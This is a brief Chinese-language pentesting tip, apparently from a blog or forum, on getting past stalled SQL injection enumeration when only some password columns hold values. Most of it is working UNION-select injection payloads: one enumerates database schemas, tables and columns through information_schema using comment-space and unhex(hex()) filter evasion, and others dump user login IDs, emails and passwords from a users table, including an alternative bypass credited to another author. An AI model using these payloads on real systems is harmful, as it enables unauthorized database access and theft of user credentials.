在进行SQL注入渗透测试时,有时会遇到字段爆破(brute force)卡住的情况。比如下面这个场景:用户名字段有9个,但密码字段只有4个包含实际值,因此直接爆破会失败。只需调整一下语句,就能绕过限制。
/**/union/**/select/**/unhex(hex(concat(0x1e,0x1e,table_schema,0x1e,table_name,0x1e,column_name,0x1e,0x20)))+FROM+information_sch ema.columns+WHERE+table_schema!=0x696e666f726d6174696f6e5f736368656d61+LIMIT+N,1--
遇到字段爆破不出来时,通过查看trace发现,原因在于用户名字段有9个,而密码字段只有4个有值,所以默认爆破无法成功。修改语句后,问题得到了解决。
union+select+count(pasd)+from+users-- +union+select+concat(loginID,0x3a,email,0x3a,pasd)+from+users+where+length(pasd)>0+limit+N,1--
或者使用冰的原点提供的另一种绕过写法:
/union/**/select/**/unhex(hex(group_concat(loginID,0x3a,pasd)))+FROM+users--
